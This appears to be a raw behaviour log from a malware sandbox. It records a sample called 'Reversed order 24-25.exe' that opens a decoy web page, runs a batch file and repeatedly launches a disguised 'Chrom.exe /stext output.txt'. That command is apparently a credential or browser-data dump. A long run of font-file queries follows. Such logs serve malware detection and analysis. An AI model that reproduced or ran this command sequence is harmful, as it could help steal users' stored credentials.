Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.woluntech.com/oders-pdf/
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "

Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
